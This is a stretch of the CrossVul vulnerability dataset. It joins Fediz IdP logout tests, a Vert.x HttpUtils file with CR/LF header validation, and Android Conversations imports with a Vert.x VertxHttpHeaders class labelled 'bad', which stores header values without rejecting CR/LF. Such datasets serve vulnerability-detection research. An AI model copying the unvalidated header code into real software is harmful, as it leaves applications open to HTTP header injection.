HtmlForm form = idpPage.getFormByName("signoutconfirmationresponseform");
HtmlSubmitInput button = form.getInputByName("_eventId_submit");
button.click();
webClient.close();
// 3. now we try to access the idp without authentication but with the existing cookies
// to see if we are really logged out
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getOptions().setThrowExceptionOnFailingStatusCode(false);
idpPage = webClient.getPage(url);
Assert.assertEquals(401, idpPage.getWebResponse().getStatusCode());
webClient.close();
}
@Test
public void testIdPLogoutWithBadAddress() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld3";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP
String logoutWReply = "https://localhost:12345/badlogout";
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT + "&wreply=" + logoutWReply
+ "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld3";
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
try {
webClient.getPage(idpLogoutUrl);
Assert.fail("Failure expected on a non-matching wreply address");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
@Test
public void testIdPLogoutWithNoConfiguredConstraint() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld2";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure2/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP
String logoutWReply = "https://localhost:12345";
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT + "&wreply=" + logoutWReply
+ "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld2";
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
try {
webClient.getPage(idpLogoutUrl);
Assert.fail("Failure expected on a non-matching wreply address");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_657_1
|
crossvul-java_data_bad_195_5
|
/*
* Copyright (c) 2011-2017 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
*/
package io.vertx.core.http.impl.headers;
import io.netty.handler.codec.http.HttpHeaders;
import io.netty.util.AsciiString;
import io.netty.util.HashingStrategy;
import io.vertx.core.MultiMap;
import java.util.AbstractMap;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.Set;
import java.util.TreeSet;
import java.util.function.Consumer;
import static io.netty.util.AsciiString.*;
/**
* @author <a href="mailto:julien@julienviet.com">Julien Viet</a>
*/
public final class VertxHttpHeaders extends HttpHeaders implements MultiMap {
@Override
public MultiMap setAll(MultiMap headers) {
return set0(headers);
}
@Override
public MultiMap setAll(Map<String, String> headers) {
return set0(headers.entrySet());
}
@Override
public int size() {
return names().size();
}
private static int index(int hash) {
return hash & 0x0000000F;
}
private final VertxHttpHeaders.MapEntry[] entries = new VertxHttpHeaders.MapEntry[16];
private final VertxHttpHeaders.MapEntry head = new VertxHttpHeaders.MapEntry(-1, null, null);
public VertxHttpHeaders() {
head.before = head.after = head;
}
public boolean contentLengthSet() {
return contains(io.vertx.core.http.HttpHeaders.CONTENT_LENGTH);
}
public boolean contentTypeSet() {
return contains(io.vertx.core.http.HttpHeaders.CONTENT_TYPE);
}
@Override
public VertxHttpHeaders add(CharSequence name, CharSequence value) {
int h = AsciiString.hashCode(name);
int i = index(h);
add0(h, i, name, value);
return this;
}
@Override
public VertxHttpHeaders add(CharSequence name, Object value) {
return add(name, (CharSequence)value);
}
@Override
public HttpHeaders add(String name, Object value) {
return add((CharSequence) name, (CharSequence) value);
}
@Override
public VertxHttpHeaders add(String name, String strVal) {
return add((CharSequence) name, strVal);
}
@Override
public VertxHttpHeaders add(CharSequence name, Iterable values) {
int h = AsciiString.hashCode(name);
int i = index(h);
for (Object vstr: values) {
add0(h, i, name, (String) vstr);
}
return this;
}
@Override
public VertxHttpHeaders add(String name, Iterable values) {
return add((CharSequence) name, values);
}
@Override
public MultiMap addAll(MultiMap headers) {
return addAll(headers.entries());
}
@Override
public MultiMap addAll(Map<String, String> map) {
return addAll(map.entrySet());
}
private MultiMap addAll(Iterable<Map.Entry<String, String>> headers) {
for (Map.Entry<String, String> entry: headers) {
add(entry.getKey(), entry.getValue());
}
return this;
}
@Override
public VertxHttpHeaders remove(CharSequence name) {
Objects.requireNonNull(name, "name");
int h = AsciiString.hashCode(name);
int i = index(h);
remove0(h, i, name);
return this;
}
@Override
public VertxHttpHeaders remove(final String name) {
return remove((CharSequence) name);
}
@Override
public VertxHttpHeaders set(CharSequence name, CharSequence value) {
return set0(name, value);
}
@Override
public VertxHttpHeaders set(String name, String value) {
return set((CharSequence)name, value);
}
@Override
public VertxHttpHeaders set(String name, Object value) {
return set((CharSequence)name, (CharSequence) value);
}
@Override
public VertxHttpHeaders set(CharSequence name, Object value) {
return set(name, (CharSequence)value);
}
@Override
public VertxHttpHeaders set(CharSequence name, Iterable values) {
Objects.requireNonNull(values, "values");
int h = AsciiString.hashCode(name);
int i = index(h);
remove0(h, i, name);
for (Object v: values) {
if (v == null) {
break;
}
add0(h, i, name, (String) v);
}
return this;
}
@Override
public VertxHttpHeaders set(String name, Iterable values) {
return set((CharSequence) name, values);
}
@Override
public boolean contains(CharSequence name, CharSequence value, boolean ignoreCase) {
int h = AsciiString.hashCode(name);
int i = index(h);
VertxHttpHeaders.MapEntry e = entries[i];
HashingStrategy<CharSequence> strategy = ignoreCase ? CASE_INSENSITIVE_HASHER : CASE_SENSITIVE_HASHER;
while (e != null) {
if (e.hash == h && AsciiString.contentEqualsIgnoreCase(name, e.key)) {
if (strategy.equals(value, e.getValue())) {
return true;
}
}
e = e.next;
}
return false;
}
@Override
public boolean contains(String name, String value, boolean ignoreCase) {
return contains((CharSequence) name, value, ignoreCase);
}
@Override
public boolean contains(CharSequence name) {
return get0(name) != null;
}
@Override
public boolean contains(String name) {
return contains((CharSequence) name);
}
@Override
public String get(CharSequence name) {
Objects.requireNonNull(name, "name");
CharSequence ret = get0(name);
return ret != null ? ret.toString() : null;
}
@Override
public String get(String name) {
return get((CharSequence) name);
}
@Override
public List<String> getAll(CharSequence name) {
Objects.requireNonNull(name, "name");
LinkedList<String> values = new LinkedList<>();
int h = AsciiString.hashCode(name);
int i = index(h);
VertxHttpHeaders.MapEntry e = entries[i];
while (e != null) {
if (e.hash == h && AsciiString.contentEqualsIgnoreCase(name, e.key)) {
values.addFirst(e.getValue().toString());
}
e = e.next;
}
return values;
}
@Override
public List<String> getAll(String name) {
return getAll((CharSequence) name);
}
@Override
public void forEach(Consumer<? super Map.Entry<String, String>> action) {
VertxHttpHeaders.MapEntry e = head.after;
while (e != head) {
action.accept(new AbstractMap.SimpleEntry<>(e.key.toString(), e.value.toString()));
e = e.after;
}
}
@Override
public List<Map.Entry<String, String>> entries() {
List<Map.Entry<String, String>> all = new ArrayList<>(size());
VertxHttpHeaders.MapEntry e = head.after;
while (e != head) {
final MapEntry f = e;
all.add(new Map.Entry<String, String>() {
@Override
public String getKey() {
return f.key.toString();
}
@Override
public String getValue() {
return f.value.toString();
}
@Override
public String setValue(String value) {
return f.setValue(value).toString();
}
@Override
public String toString() {
return getKey() + ": " + getValue();
}
});
e = e.after;
}
return all;
}
@Override
public Iterator<Map.Entry<String, String>> iterator() {
return entries().iterator();
}
@Override
public boolean isEmpty() {
return head == head.after;
}
@Override
public Set<String> names() {
Set<String> names = new TreeSet<>(String.CASE_INSENSITIVE_ORDER);
VertxHttpHeaders.MapEntry e = head.after;
while (e != head) {
names.add(e.getKey().toString());
e = e.after;
}
return names;
}
@Override
public VertxHttpHeaders clear() {
for (int i = 0; i < entries.length; i ++) {
entries[i] = null;
}
head.before = head.after = head;
return this;
}
public String toString() {
StringBuilder sb = new StringBuilder();
for (Map.Entry<String, String> entry: this) {
sb.append(entry).append('\n');
}
return sb.toString();
}
@Override
public Integer getInt(CharSequence name) {
throw new UnsupportedOperationException();
}
@Override
public int getInt(CharSequence name, int defaultValue) {
throw new UnsupportedOperationException();
}
@Override
public Short getShort(CharSequence name) {
throw new UnsupportedOperationException();
}
@Override
public short getShort(CharSequence name, short defaultValue) {
throw new UnsupportedOperationException();
}
@Override
public Long getTimeMillis(CharSequence name) {
throw new UnsupportedOperationException();
}
@Override
public long getTimeMillis(CharSequence name, long defaultValue) {
throw new UnsupportedOperationException();
}
@Override
public Iterator<Map.Entry<CharSequence, CharSequence>> iteratorCharSequence() {
return new Iterator<Map.Entry<CharSequence, CharSequence>>() {
VertxHttpHeaders.MapEntry current = head.after;
@Override
public boolean hasNext() {
return current != head;
}
@Override
public Map.Entry<CharSequence, CharSequence> next() {
Map.Entry<CharSequence, CharSequence> next = current;
current = current.after;
return next;
}
};
}
@Override
public HttpHeaders addInt(CharSequence name, int value) {
throw new UnsupportedOperationException();
}
@Override
public HttpHeaders addShort(CharSequence name, short value) {
throw new UnsupportedOperationException();
}
@Override
public HttpHeaders setInt(CharSequence name, int value) {
throw new UnsupportedOperationException();
}
@Override
public HttpHeaders setShort(CharSequence name, short value) {
throw new UnsupportedOperationException();
}
private static final class MapEntry implements Map.Entry<CharSequence, CharSequence> {
final int hash;
final CharSequence key;
CharSequence value;
VertxHttpHeaders.MapEntry next;
VertxHttpHeaders.MapEntry before, after;
MapEntry(int hash, CharSequence key, CharSequence value) {
this.hash = hash;
this.key = key;
this.value = value;
}
void remove() {
before.after = after;
after.before = before;
}
void addBefore(VertxHttpHeaders.MapEntry e) {
after = e;
before = e.before;
before.after = this;
after.before = this;
}
@Override
public CharSequence getKey() {
return key;
}
@Override
public CharSequence getValue() {
return value;
}
@Override
public CharSequence setValue(CharSequence value) {
Objects.requireNonNull(value, "value");
CharSequence oldValue = this.value;
this.value = value;
return oldValue;
}
@Override
public String toString() {
return getKey() + ": " + getValue();
}
}
private void remove0(int h, int i, CharSequence name) {
VertxHttpHeaders.MapEntry e = entries[i];
if (e == null) {
return;
}
for (;;) {
if (e.hash == h && AsciiString.contentEqualsIgnoreCase(name, e.key)) {
e.remove();
VertxHttpHeaders.MapEntry next = e.next;
if (next != null) {
entries[i] = next;
e = next;
} else {
entries[i] = null;
return;
}
} else {
break;
}
}
for (;;) {
VertxHttpHeaders.MapEntry next = e.next;
if (next == null) {
break;
}
if (next.hash == h && AsciiString.contentEqualsIgnoreCase(name, next.key)) {
e.next = next.next;
next.remove();
} else {
e = next;
}
}
}
private void add0(int h, int i, final CharSequence name, final CharSequence value) {
// Update the hash table.
VertxHttpHeaders.MapEntry e = entries[i];
VertxHttpHeaders.MapEntry newEntry;
entries[i] = newEntry = new VertxHttpHeaders.MapEntry(h, name, value);
newEntry.next = e;
// Update the linked list.
newEntry.addBefore(head);
}
private VertxHttpHeaders set0(final CharSequence name, final CharSequence strVal) {
int h = AsciiString.hashCode(name);
int i = index(h);
remove0(h, i, name);
add0(h, i, name, strVal);
return this;
}
private CharSequence get0(CharSequence name) {
int h = AsciiString.hashCode(name);
int i = index(h);
VertxHttpHeaders.MapEntry e = entries[i];
while (e != null) {
if (e.hash == h && AsciiString.contentEqualsIgnoreCase(name, e.key)) {
return e.getValue();
}
e = e.next;
}
return null;
}
private MultiMap set0(Iterable<Map.Entry<String, String>> map) {
clear();
for (Map.Entry<String, String> entry: map) {
add(entry.getKey(), entry.getValue());
}
return this;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_195_5
|
crossvul-java_data_good_195_4
|
/*
* Copyright (c) 2011-2017 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
*/
package io.vertx.core.http.impl;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.compression.ZlibWrapper;
import io.netty.handler.codec.http.HttpContentCompressor;
import io.netty.handler.codec.http.HttpHeaderNames;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.handler.codec.http.QueryStringDecoder;
import io.netty.handler.codec.http2.Http2Headers;
import io.netty.handler.codec.http2.Http2Settings;
import io.netty.util.AsciiString;
import io.vertx.core.MultiMap;
import io.vertx.core.buffer.Buffer;
import io.vertx.core.http.CaseInsensitiveHeaders;
import io.vertx.core.http.HttpServerRequest;
import java.net.URI;
import java.net.URISyntaxException;
import java.nio.charset.Charset;
import java.util.Base64;
import java.util.List;
import java.util.Map;
import static io.vertx.core.http.Http2Settings.*;
/**
* Various http utils.
*
* @author <a href="mailto:nmaurer@redhat.com">Norman Maurer</a>
*/
public final class HttpUtils {
private HttpUtils() {
}
private static int indexOfSlash(CharSequence str, int start) {
for (int i = start; i < str.length(); i++) {
if (str.charAt(i) == '/') {
return i;
}
}
return -1;
}
private static boolean matches(CharSequence path, int start, String what) {
return matches(path, start, what, false);
}
private static boolean matches(CharSequence path, int start, String what, boolean exact) {
if (exact) {
if (path.length() - start != what.length()) {
return false;
}
}
if (path.length() - start >= what.length()) {
for (int i = 0; i < what.length(); i++) {
if (path.charAt(start + i) != what.charAt(i)) {
return false;
}
}
return true;
}
return false;
}
/**
* Removed dots as per <a href="http://tools.ietf.org/html/rfc3986#section-5.2.4>rfc3986</a>.
*
* There are 2 extra transformations that are not part of the spec but kept for backwards compatibility:
*
* double slash // will be converted to single slash and the path will always start with slash.
*
* @param path raw path
* @return normalized path
*/
public static String removeDots(CharSequence path) {
if (path == null) {
return null;
}
final StringBuilder obuf = new StringBuilder(path.length());
int i = 0;
while (i < path.length()) {
// remove dots as described in
// http://tools.ietf.org/html/rfc3986#section-5.2.4
if (matches(path, i, "./")) {
i += 2;
} else if (matches(path, i, "../")) {
i += 3;
} else if (matches(path, i, "/./")) {
// preserve last slash
i += 2;
} else if (matches(path, i,"/.", true)) {
path = "/";
i = 0;
} else if (matches(path, i, "/../")) {
// preserve last slash
i += 3;
int pos = obuf.lastIndexOf("/");
if (pos != -1) {
obuf.delete(pos, obuf.length());
}
} else if (matches(path, i, "/..", true)) {
path = "/";
i = 0;
int pos = obuf.lastIndexOf("/");
if (pos != -1) {
obuf.delete(pos, obuf.length());
}
} else if (matches(path, i, ".", true) || matches(path, i, "..", true)) {
break;
} else {
if (path.charAt(i) == '/') {
i++;
// Not standard!!!
// but common // -> /
if (obuf.length() == 0 || obuf.charAt(obuf.length() - 1) != '/') {
obuf.append('/');
}
}
int pos = indexOfSlash(path, i);
if (pos != -1) {
obuf.append(path, i, pos);
i = pos;
} else {
obuf.append(path, i, path.length());
break;
}
}
}
return obuf.toString();
}
/**
* Resolve an URI reference as per <a href="http://tools.ietf.org/html/rfc3986#section-5.2.4>rfc3986</a>
*/
public static URI resolveURIReference(String base, String ref) throws URISyntaxException {
return resolveURIReference(URI.create(base), ref);
}
/**
* Resolve an URI reference as per <a href="http://tools.ietf.org/html/rfc3986#section-5.2.4>rfc3986</a>
*/
public static URI resolveURIReference(URI base, String ref) throws URISyntaxException {
URI _ref = URI.create(ref);
String scheme;
String authority;
String path;
String query;
if (_ref.getScheme() != null) {
scheme = _ref.getScheme();
authority = _ref.getAuthority();
path = removeDots(_ref.getPath());
query = _ref.getRawQuery();
} else {
if (_ref.getAuthority() != null) {
authority = _ref.getAuthority();
path = _ref.getPath();
query = _ref.getRawQuery();
} else {
if (_ref.getPath().length() == 0) {
path = base.getPath();
if (_ref.getRawQuery() != null) {
query = _ref.getRawQuery();
} else {
query = base.getRawQuery();
}
} else {
if (_ref.getPath().startsWith("/")) {
path = removeDots(_ref.getPath());
} else {
// Merge paths
String mergedPath;
String basePath = base.getPath();
if (base.getAuthority() != null && basePath.length() == 0) {
mergedPath = "/" + _ref.getPath();
} else {
int index = basePath.lastIndexOf('/');
if (index > -1) {
mergedPath = basePath.substring(0, index + 1) + _ref.getPath();
} else {
mergedPath = _ref.getPath();
}
}
path = removeDots(mergedPath);
}
query = _ref.getRawQuery();
}
authority = base.getAuthority();
}
scheme = base.getScheme();
}
return new URI(scheme, authority, path, query, _ref.getFragment());
}
/**
* Extract the path out of the uri.
*/
static String parsePath(String uri) {
int i;
if (uri.charAt(0) == '/') {
i = 0;
} else {
i = uri.indexOf("://");
if (i == -1) {
i = 0;
} else {
i = uri.indexOf('/', i + 3);
if (i == -1) {
// contains no /
return "/";
}
}
}
int queryStart = uri.indexOf('?', i);
if (queryStart == -1) {
queryStart = uri.length();
}
return uri.substring(i, queryStart);
}
/**
* Extract the query out of a uri or returns {@code null} if no query was found.
*/
static String parseQuery(String uri) {
int i = uri.indexOf('?');
if (i == -1) {
return null;
} else {
return uri.substring(i + 1 , uri.length());
}
}
static String absoluteURI(String serverOrigin, HttpServerRequest req) throws URISyntaxException {
String absoluteURI;
URI uri = new URI(req.uri());
String scheme = uri.getScheme();
if (scheme != null && (scheme.equals("http") || scheme.equals("https"))) {
absoluteURI = uri.toString();
} else {
String host = req.host();
if (host != null) {
absoluteURI = req.scheme() + "://" + host + uri;
} else {
// Fall back to the server origin
absoluteURI = serverOrigin + uri;
}
}
return absoluteURI;
}
static MultiMap params(String uri) {
QueryStringDecoder queryStringDecoder = new QueryStringDecoder(uri);
Map<String, List<String>> prms = queryStringDecoder.parameters();
MultiMap params = new CaseInsensitiveHeaders();
if (!prms.isEmpty()) {
for (Map.Entry<String, List<String>> entry: prms.entrySet()) {
params.add(entry.getKey(), entry.getValue());
}
}
return params;
}
public static void fromVertxInitialSettings(boolean server, io.vertx.core.http.Http2Settings vertxSettings, Http2Settings nettySettings) {
if (vertxSettings != null) {
if (!server && vertxSettings.isPushEnabled() != DEFAULT_ENABLE_PUSH) {
nettySettings.pushEnabled(vertxSettings.isPushEnabled());
}
if (vertxSettings.getHeaderTableSize() != DEFAULT_HEADER_TABLE_SIZE) {
nettySettings.put('\u0001', (Long)vertxSettings.getHeaderTableSize());
}
if (vertxSettings.getInitialWindowSize() != DEFAULT_INITIAL_WINDOW_SIZE) {
nettySettings.initialWindowSize(vertxSettings.getInitialWindowSize());
}
if (vertxSettings.getMaxConcurrentStreams() != DEFAULT_MAX_CONCURRENT_STREAMS) {
nettySettings.maxConcurrentStreams(vertxSettings.getMaxConcurrentStreams());
}
if (vertxSettings.getMaxFrameSize() != DEFAULT_MAX_FRAME_SIZE) {
nettySettings.maxFrameSize(vertxSettings.getMaxFrameSize());
}
if (vertxSettings.getMaxHeaderListSize() != DEFAULT_MAX_HEADER_LIST_SIZE) {
nettySettings.maxHeaderListSize(vertxSettings.getMaxHeaderListSize());
}
Map<Integer, Long> extraSettings = vertxSettings.getExtraSettings();
if (extraSettings != null) {
extraSettings.forEach((code, setting) -> {
nettySettings.put((char)(int)code, setting);
});
}
}
}
public static Http2Settings fromVertxSettings(io.vertx.core.http.Http2Settings settings) {
Http2Settings converted = new Http2Settings();
converted.pushEnabled(settings.isPushEnabled());
converted.maxFrameSize(settings.getMaxFrameSize());
converted.initialWindowSize(settings.getInitialWindowSize());
converted.headerTableSize(settings.getHeaderTableSize());
converted.maxConcurrentStreams(settings.getMaxConcurrentStreams());
converted.maxHeaderListSize(settings.getMaxHeaderListSize());
if (settings.getExtraSettings() != null) {
settings.getExtraSettings().forEach((key, value) -> {
converted.put((char)(int)key, value);
});
}
return converted;
}
public static io.vertx.core.http.Http2Settings toVertxSettings(Http2Settings settings) {
io.vertx.core.http.Http2Settings converted = new io.vertx.core.http.Http2Settings();
Boolean pushEnabled = settings.pushEnabled();
if (pushEnabled != null) {
converted.setPushEnabled(pushEnabled);
}
Long maxConcurrentStreams = settings.maxConcurrentStreams();
if (maxConcurrentStreams != null) {
converted.setMaxConcurrentStreams(maxConcurrentStreams);
}
Long maxHeaderListSize = settings.maxHeaderListSize();
if (maxHeaderListSize != null) {
converted.setMaxHeaderListSize(maxHeaderListSize);
}
Integer maxFrameSize = settings.maxFrameSize();
if (maxFrameSize != null) {
converted.setMaxFrameSize(maxFrameSize);
}
Integer initialWindowSize = settings.initialWindowSize();
if (initialWindowSize != null) {
converted.setInitialWindowSize(initialWindowSize);
}
Long headerTableSize = settings.headerTableSize();
if (headerTableSize != null) {
converted.setHeaderTableSize(headerTableSize);
}
settings.forEach((key, value) -> {
if (key > 6) {
converted.set(key, value);
}
});
return converted;
}
static Http2Settings decodeSettings(String base64Settings) {
try {
Http2Settings settings = new Http2Settings();
Buffer buffer = Buffer.buffer(Base64.getUrlDecoder().decode(base64Settings));
int pos = 0;
int len = buffer.length();
while (pos < len) {
int i = buffer.getUnsignedShort(pos);
pos += 2;
long j = buffer.getUnsignedInt(pos);
pos += 4;
settings.put((char)i, (Long)j);
}
return settings;
} catch (Exception ignore) {
}
return null;
}
public static String encodeSettings(io.vertx.core.http.Http2Settings settings) {
Buffer buffer = Buffer.buffer();
fromVertxSettings(settings).forEach((c, l) -> {
buffer.appendUnsignedShort(c);
buffer.appendUnsignedInt(l);
});
return Base64.getUrlEncoder().encodeToString(buffer.getBytes());
}
public static ByteBuf generateWSCloseFrameByteBuf(short statusCode, String reason) {
if (reason != null)
return Unpooled.copiedBuffer(
Unpooled.copyShort(statusCode), // First two bytes are reserved for status code
Unpooled.copiedBuffer(reason, Charset.forName("UTF-8"))
);
else
return Unpooled.copyShort(statusCode);
}
private static class CustomCompressor extends HttpContentCompressor {
@Override
public ZlibWrapper determineWrapper(String acceptEncoding) {
return super.determineWrapper(acceptEncoding);
}
}
private static final CustomCompressor compressor = new CustomCompressor();
static String determineContentEncoding(Http2Headers headers) {
String acceptEncoding = headers.get(HttpHeaderNames.ACCEPT_ENCODING) != null ? headers.get(HttpHeaderNames.ACCEPT_ENCODING).toString() : null;
if (acceptEncoding != null) {
ZlibWrapper wrapper = compressor.determineWrapper(acceptEncoding);
if (wrapper != null) {
switch (wrapper) {
case GZIP:
return "gzip";
case ZLIB:
return "deflate";
}
}
}
return null;
}
static HttpMethod toNettyHttpMethod(io.vertx.core.http.HttpMethod method, String rawMethod) {
switch (method) {
case CONNECT: {
return HttpMethod.CONNECT;
}
case GET: {
return HttpMethod.GET;
}
case PUT: {
return HttpMethod.PUT;
}
case POST: {
return HttpMethod.POST;
}
case DELETE: {
return HttpMethod.DELETE;
}
case HEAD: {
return HttpMethod.HEAD;
}
case OPTIONS: {
return HttpMethod.OPTIONS;
}
case TRACE: {
return HttpMethod.TRACE;
}
case PATCH: {
return HttpMethod.PATCH;
}
default: {
return HttpMethod.valueOf(rawMethod);
}
}
}
static HttpVersion toNettyHttpVersion(io.vertx.core.http.HttpVersion version) {
switch (version) {
case HTTP_1_0: {
return HttpVersion.HTTP_1_0;
}
case HTTP_1_1: {
return HttpVersion.HTTP_1_1;
}
default:
throw new IllegalArgumentException("Unsupported HTTP version: " + version);
}
}
static io.vertx.core.http.HttpMethod toVertxMethod(String method) {
try {
return io.vertx.core.http.HttpMethod.valueOf(method);
} catch (IllegalArgumentException e) {
return io.vertx.core.http.HttpMethod.OTHER;
}
}
private static final AsciiString TIMEOUT_EQ = AsciiString.of("timeout=");
public static int parseKeepAliveHeaderTimeout(CharSequence value) {
int len = value.length();
int pos = 0;
while (pos < len) {
int idx = AsciiString.indexOf(value, ',', pos);
int next;
if (idx == -1) {
idx = next = len;
} else {
next = idx + 1;
}
while (pos < idx && value.charAt(pos) == ' ') {
pos++;
}
int to = idx;
while (to > pos && value.charAt(to -1) == ' ') {
to--;
}
if (AsciiString.regionMatches(value, true, pos, TIMEOUT_EQ, 0, TIMEOUT_EQ.length())) {
pos += TIMEOUT_EQ.length();
if (pos < to) {
int ret = 0;
while (pos < to) {
int ch = value.charAt(pos++);
if (ch >= '0' && ch < '9') {
ret = ret * 10 + (ch - '0');
} else {
ret = -1;
break;
}
}
if (ret > -1) {
return ret;
}
}
}
pos = next;
}
return -1;
}
public static void validateHeader(CharSequence name, CharSequence value) {
validateHeader(name);
validateHeader(value);
}
public static void validateHeader(CharSequence name, Iterable<? extends CharSequence> values) {
validateHeader(name);
values.forEach(HttpUtils::validateHeader);
}
public static void validateHeader(CharSequence value) {
for (int i = 0;i < value.length();i++) {
char c = value.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException("Illegal header character: " + ((int)c));
}
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_195_4
|
crossvul-java_data_good_418_1
|
/*
* Copyright (c) 2018, Daniel Gultsch All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors
* may be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package eu.siacs.conversations.ui;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.Fragment;
import android.app.FragmentManager;
import android.app.FragmentTransaction;
import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.databinding.DataBindingUtil;
import android.net.Uri;
import android.os.Bundle;
import android.provider.Settings;
import android.support.annotation.IdRes;
import android.support.annotation.NonNull;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AlertDialog;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.Toast;
import org.openintents.openpgp.util.OpenPgpApi;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
import eu.siacs.conversations.Config;
import eu.siacs.conversations.R;
import eu.siacs.conversations.crypto.OmemoSetting;
import eu.siacs.conversations.databinding.ActivityConversationsBinding;
import eu.siacs.conversations.entities.Account;
import eu.siacs.conversations.entities.Conversation;
import eu.siacs.conversations.services.XmppConnectionService;
import eu.siacs.conversations.ui.interfaces.OnBackendConnected;
import eu.siacs.conversations.ui.interfaces.OnConversationArchived;
import eu.siacs.conversations.ui.interfaces.OnConversationRead;
import eu.siacs.conversations.ui.interfaces.OnConversationSelected;
import eu.siacs.conversations.ui.interfaces.OnConversationsListItemUpdated;
import eu.siacs.conversations.ui.service.EmojiService;
import eu.siacs.conversations.ui.util.ActivityResult;
import eu.siacs.conversations.ui.util.ConversationMenuConfigurator;
import eu.siacs.conversations.ui.util.MenuDoubleTabUtil;
import eu.siacs.conversations.ui.util.PendingItem;
